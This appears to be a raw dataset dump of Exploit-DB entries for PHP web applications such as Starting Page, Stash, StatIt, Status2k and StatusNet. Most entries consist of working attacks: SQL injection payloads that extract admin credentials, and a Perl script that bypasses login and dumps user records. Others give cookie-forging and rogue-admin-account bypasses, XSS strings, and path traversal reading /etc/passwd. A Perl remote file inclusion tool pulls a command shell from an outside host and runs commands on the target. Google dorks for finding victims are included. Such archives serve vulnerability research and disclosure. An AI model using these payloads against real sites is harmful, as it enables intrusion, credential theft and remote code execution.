deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41009
Description: Starting Page 1.3 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-11
Author: Ben Lee

Exploit:
# Exploit Title: Starting Page 1.3 "Add a Link" - SQL Injection
# Date: 11-01-2017
# Software Link: http://software.friendsinwar.com/downloads.php?cat_id=2&download_id=11<http://software.friendsinwar.com/downloads.php?cat_id=2&download_id=11>
# Exploit Author: Ben Lee
# Contact: benlee9@outlook.com
# Category: webapps

# Tested on: Win7


1. Description


The vulnerable file is "link_req_2.php",all the post parameters do not get filtered,then do sql query。


2. Vulnerable parameters:


'$_POST[category]','$_POST[name]','$_POST[url]','$_POST[description]','$_POST[email]'


3.Proof of Concept:


Url:http://www.example.com/StartingPage/link_req_2.php


Post data:


[category=1' AND (select 1 from(select count(*),concat((select(select(select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e)from sp_admin limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND 'a'='a&name=abc&email=admin@admin.com&url=www.xxx.com&description=helloworld]


[cid:4be0cc87-4612-4096-ad49-cc18d8cb4033]


Best Regards!
Ben Lee
Exploit-DB #41004
Description: Starting Page 1.3 - 'linkid' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-10
Author: JaMbA

Exploit:
# Vulnerability: Starting Page- SQL Injection

# Date: 10.01.2017

# Vendor Homepage: http://software.friendsinwar.com/

# Tested on: win10

# Author: JaMbA

# Script link: http://software.friendsinwar.com/news.php?readmore=31

#########################


# SQL Injection/Exploit :

# Vulnerable Parametre : linkid

# http://localhost/[PATH]/outgoing.php?linkid=[SQL]

Tunisia 4 ever
Exploit-DB #6406
Description: Stash 1.0.3 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-09
Author: Ciph3r

Exploit:
  ####################################################################################################
  #                                                                                                  #
  #           ...:::::stash-1.0.3 Insecure Cookie Handling Vulnerability ::::....                    #          
  ###################################################################################################


-----------------------
Discoverd By : Ciph3r

special tnx to : Iranian hacker & Kurdish Security TEAM

E-Mail : Ciph3r_blackhat@yahoo.com

cms :  http://sourceforge.net/project/showfiles.php?group_id=206129
-----------------------
DESCRIPTION:

stash-1.0.3, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
vuln code in  admin/login.php


if(isset($_COOKIE['bsm'])&&isset($_COOKIE['msb'])){
        $authenticate->checkCookie($_COOKIE['bsm'],$_COOKIE['msb']);


-----------------------------------------
exploit:
javascript:document.cookie = "bsm=1; path=/"; 
-----
now you can get admin access and manage the cms ;)
-------------------------------------------

# milw0rm.com [2008-09-09]
Exploit-DB #6402
Description: Stash 1.0.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-09
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####           Stash v1.0.3 Admin bypass / Remote File Disclosure                ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Download : http://kent.dl.sourceforge.net/sourceforge/nice-stash/stash-1.0.3.tar.gz#
#                                                                                   #
#DORK : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                [Admin by pass]                                    #
#                                                                                   #
#http://Site/[path]/admin/login                                                     #
#Username : ' or 1=1/*                                                              #
#Password : R3d.W0rm                                                                #
#                                                                                   #
#####################################################################################
#                            [Remote File Disclosure]                               #
#                                                                                   #
#http://Site/[path]/downloadmp3.php?download=-99999'+union+select+0,1,2,3,4,concat(0x[file name in hex])/* 
#                                                                                   #
#Note : You must enter file name in hex in valun address to download it .           #
#Ex. ../../admin/config.php == 2E2E2F2E2E2F61646D696E2F636F6E6669672E706870         #
#http://Site/[path]/downloadmp3.php?download=-99999'+union+select+0,1,2,3,4,concat(0x2E2E2F2E2E2F61646D696E2F636F6E6669672E706870)/* 
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-09-09]
Exploit-DB #6714
Description: Stash 1.0.3 - SQL Injection User Credentials Disclosure
Type: webapps
Platform: php
Date: 2008-10-09
Author: gnix

Exploit:
#!/usr/bin/perl -w
#
# User credentials disclosure exploit - stash103exp.pl
#
# Gnix <gnixmail@gmail.com>
# http://gnix.netsons.org
# 
# This exploit use an SQL Injection in the file admin/login.php to 
# bypass the login, and then an SQL Injection in the admin/news.php 
# to extract all the users info. Note: password are crypted with md5.
#
# Output for each user:
# user_id:user_username:user_password:user_key:user_firstname user_lastname:user_email:user_admin
#

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Cookies;


# Variables
my $cjar  = new HTTP::Cookies( file => 'cookies.txt', 
                               autosave => 1, 
                               ignore_discard => 0);
my $agent = new LWP::UserAgent;
$agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM');
  

# Check argv
if(@ARGV != 3) {
  print "[?] Usage  : perl stash103exp.pl <stash_dir_address> <admin_username> <table_prefix>\n";
  print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n";
  exit(1); 
}


# Authentication
if(!auth($ARGV[0],$ARGV[1])) {
  print "[!] Error during the authentication!\n";
  exit(1);
}


# Extract all the user information
my $info = extract_data($ARGV[0],$ARGV[2]);
if(!$info) {
  print "[!] Error when extracting data!\n";
  exit(1);
}


# Print user information
$_ = $info;
my @users = m/<1>(.+?)<2>/g;
foreach my $user (@users) {
  print $user."\n";
}


exit(0);

###########################################################################



# Login as $ARGV[1] and save the PHPSESSID cookie
sub auth
{
  my $address = shift;
  my $username= shift;

  # Login
  my $response= $agent->post($address.'admin/login.php', 
                             {username   => "' OR user_username = '$username", 
                              password   => "any",
                              submit    => "Log in"});

  # Save PHPSESSID cookie
  $cjar->extract_cookies($response);

  return $response->is_redirect();
}



# Inject a query through news.php to extract all the info about every user
sub extract_data
{
  my $address  = shift;
  my $prefix  = shift;

  my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title,  ".
   "CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,".
  "':',user_firstname,' ', user_lastname,':', user_email,':', user_admin,".
  "'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0  ".
  "AS news_comment FROM ".$prefix."news, ".$prefix."user";

  my $request = new HTTP::Request('GET', $address.'admin/news.php?post='.$query);

  $agent->cookie_jar($cjar);
  my $response= $agent->request($request);

  if($response->is_success()) {
    return $response->content();
  }
  else {
    return undef;
  }
}

# milw0rm.com [2008-10-09]
Exploit-DB #51602
Description: Statamic 4.7.0 - File-Inclusion
Type: webapps
Platform: php
Date: 2023-07-19
Author: nu11secur1ty

Exploit:
## Title: Statamic 4.7.0 - File-Inclusion
## Author: nu11secur1ty
## Date: 07.13.2023
## Vendor: https://statamic.com/
## Software: https://demo.statamic.com/
## Reference: https://portswigger.net/web-security/file-upload


## Description:
The statamic-4.7.0 suffers from file inclusion - file upload vulnerability.
The attacker can upload a malicious HTML file and can share the
malicious URL which uses the infected HTML file
to the other attackers in the network, they easily can look at the
token session key and can do very dangerous stuff.


## Staus: HIGH Vulnerability

[+]Exploit:

```js
<html>
	<script>
		alert(document.cookie);
	</script>
</html>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/statamic/2023/statamic-4.7.0)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/statamic-470-file-inclusion-unsanitized.html)

## Time spend:
01:10:00
Exploit-DB #11434
Description: statcountex 3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-13
Author: Phenom

Exploit:
# Software Link: http://www.2enetworx.com/dev/projects/download.asp?pid=4&rid=34
# Version: 3.1
# Tested on: Windows xp sp3

------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \ 
| |    | | | |  __/ | | | (_) | | | | | |
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|


------------------------------------------------------

###########        StatCounteX 3.1 Multiple Vulnerabilities          ############
#
#       Author : Phenom
#
#       app version : 3.1
#
#################################################################################

####### Exploit #################################################################
#
#    1 - Database Disclosure Vulnerability
#
#        http://site.com/path/stats.mdb
#
#    2 - Remote Admin Access Vulnerability
#
#        http://site.com/path/admin.asp
#
#        here you can edit tables and configuration
#
#################################################################################
Exploit-DB #36499
Description: StatIt 4 - 'statistik.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-04
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51280/info

StatIt is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

StatIt 4 is vulnerable; other versions may be affected. 

The following example URIs are available:

http://www.example.com/statit4/statistik.php?st_id=1&action=stat_last%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&enc=[PII_REDACTED]12292&agent=ari/534.30&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace

http://www.example.com/statit4/statistik.php?action=stat_tld&st_id=1&show=more%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E\&PHPSESSID=d8679fc904017bdf6b09f5d88f7cf979

http://www.example.com/statit4/statistik.php?action=stat_abfragen&st_id=1&show=more&order=2%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&sort=1&PHPSESSID=698bf9d1e988e3af70022f1dfb86fd33
Exploit-DB #1752
Description: StatIt 4 - 'statitpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-05
Author: IGNOR3

Exploit:
#!/usr/bin/perl
##
# Statit V4 Remote File Inclusion exploit
# Bug discovered By IGNOR3
# IGNOR3_llvlle@yahoo.com
# http://www.smart-boys.com
# Google Search=inurl:statit.php
# usage:
# perl statit.pl <target> <cmd shell location> <cmd shell variable>
# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'visible_count_inc.php?statitpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " Statit V4 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           BUG DISCOVERED BY IGNOR3 \r\n";
 print "                           Yahoo ID: IGNOR3_llvlle \r\n";
 print "                           http://www.smart-boys.com \r\n";
 print "============================================================================\r\n";
 print " Download The Video: http://www.ignor3.persiangig.com/video/statit.rar \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-05]
Exploit-DB #34805
Description: StatsCode - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-09
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43693/info

StatsCode is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

Login : &#039;><script>alert(&#039;xss&#039;)</script>
Password : &#039;><script>alert(&#039;xss&#039;)</script>
Exploit-DB #11258
Description: Status2k - Remote Add Admin
Type: webapps
Platform: php
Date: 2010-01-25
Author: alnjm33

Exploit:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : status2k Remote Add Admin Exploit
Author: alnjm33
Software Link: it cost 24.95 / y
Script Site : http://www.status2k.com/buynow.html
Version: 1
Tested on: Version 1
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
( allinurl:dynamicimg.php )
================================Exploit=============================================

<html>
<title>status2k Remote Add Admin</title>

<body link="#00FF00" text="#008000" bgcolor="#000000">

<form method="POST" action="http://server/Status2k/admin/options/users.php">
<input type="hidden" name="type" value="add">
<table border="1" cellpadding="4" style="border-collapse: collapse" width="100%" bordercolor="#808080">
<tr>
<td class="top">
<p align="center"><b>User & Pass : sec-war</b></p>
<p align="center"><b><font face="Comic Sans MS">
<a href="http://server/path//index.php?act=idx" style="text-decoration: none">
<font color="#00FF00">Security War</font></a></font></b></p>
<p align="center"><b>Username:</b></td>
</tr>
<tr>
<td height="1">
<p align="center"><input type="text" name="adminuser" size="30" value="sec-war"></td>
</tr>
<tr>
<td class="top">
<p align="center"><b>Password:</b></td>
</tr>
<tr>

<td height="22">
<p align="center">
<input type="password" name="adminpass" size="30" value="sec-war"></td>
</tr>
<tr>
<td align="right">
<p align="center">
<input type="submit" value="Add User >>" style="font-weight: 700"></td>
</tr>
</form>
</table>
</html>
=======================================================================================
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members
Exploit-DB #28956
Description: StatusNet/Laconica 0.7.4/0.8.2/0.9.0beta3 - Arbitrary File Reading
Type: webapps
Platform: php
Date: 2013-10-14
Author: spiderboy

Exploit:
+-------------------------------------------------------------------------------+
+ StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading +
+-------------------------------------------------------------------------------+

# Date:
	- 10/10/2013

# Exploit Author:
	- spiderboy

# Vendor Homepage:
	- http://status.net/

# Software Links:
	- http://status.net/laconica-0.7.4.tar.gz
	- http://status.net/statusnet-0.8.2.tar.gz
	- http://status.net/statusnet-0.9.0beta3.tar.gz

# Version:
	- Branch 0.7.X : <= 0.7.4
	- Branch 0.8.X : <= 0.8.2
	- Branch 0.9.X : <= 0.9.0beta3

# Tested on:
	- Unix/Linux

# Category:
	- Webapps

# Platform:
	- php

# Advisories :
	- http://status.net/wiki/Security_alert_0000002
	- http://osvdb.org/show/osvdb/95586

# Google Dork:
	- "It runs the StatusNet microblogging software, version 0.8.2"

# Vendor product description:
	- Free and Open Source social software

# Vulnerable code:
	- actions/doc.php:
	--------------------------------------------------------------------
	function handle($args)
	{
		parent::handle($args);
		$this->title    = $this->trimmed('title');
		$this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1]
		if (!file_exists($this->filename)) {
			$this->clientError(_('No such document.'));
			return;
		}
		$this->showPage();
	}
	--------------------------------------------------------------------
	[1] : No check on user-supplied parameter $this->title

# Proof of concept:
	- http://[host]/index.php?action=doc&title=../config.php
	- http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd

# Solution:
	- Upgrade to latest version : http://status.net/download
Exploit-DB #41617
Description: Steam Profile Integration 2.0.11 - SQL injection
Type: webapps
Platform: php
Date: 2017-03-13
Author: DrWhat

Exploit:
# Exploit Title: IPS Community Suite - Steam Profile Integration 2.0.11 and below SQL injection
# Google Dork: inurl:tab=node_steam_steamprofile
# Date: 13/03/2017
# Exploit Author: DrWhat
# Vendor Homepage: https://invisionpower.com/files/file/8170-steam-profile-integration/
# Software Link: https://invisionpower.com/files/file/8170-steam-profile-integration/
# Version: 2.0.11 and below
# Tested on: Windows Server 2008 PHP7 & Linux Debian PH5.6

# SQL Injection/Exploit: http://localhost/path/index.php?app=steam&module=steam&section=steamProfile&do=update&id=[USER_WITH_STEAM]%' OR EXTRACTVALUE(1001,CONCAT(0x3A,([QUERY]),0x3A)) AND '%'='&csrfKey=[CSRF_KEY]


# Vulnerable code: /sources/Update/Update.php updateProfile() function
# 532: $ids = array();
# 533: $steamids = '';
# 534: $select = "s.st_member_id,s.st_steamid,s.st_restricted";
# 535: $where = "s.st_steamid>0 AND s.st_restricted!='1'";
# 536: if($single)
# 537: {
# 538:    $where .= " AND s.st_member_id='{$single}'"; // $single is $_GET['id'] pass through the router
# 539:
# 540:    /* Is the member already in the database ? */
# 541:    $s = \IPS\steam\Profile::load($single); // IPS Profile model cleans the request and successfully executes the query


# 573: $query = \IPS\Db::i()->select( $select, array('steam_profiles', 's'), $where, 's.st_member_id ASC', array( $this->extras['profile_offset'], 100), NULL, NULL, '011'); // Our payload is then later executed in the $where variable unsanitized


# Timeline
# 13/03/2017: Exploit discovered
# 13/03/2017: Vendor notified
# 14/03/2017: Vendor confirmed vulnerablity
# 15/03/2017: Vendor releases patch 2.0.12
# 15/03/2017: Public disclosure
Exploit-DB #23009
Description: Stellar Docs 1.2 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-08-11
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8385/info

Stellar Docs will disclose path information in an error page in response to a request for an invalid request for a web resource. This could disclose information that could be useful in further attacks against the system. It should be noted the error output indicates that a database function has failed, which may be due to a more serious issue, such as SQL injection.

http://www.example.com/pathofstellardocs/data/fetch.php?page='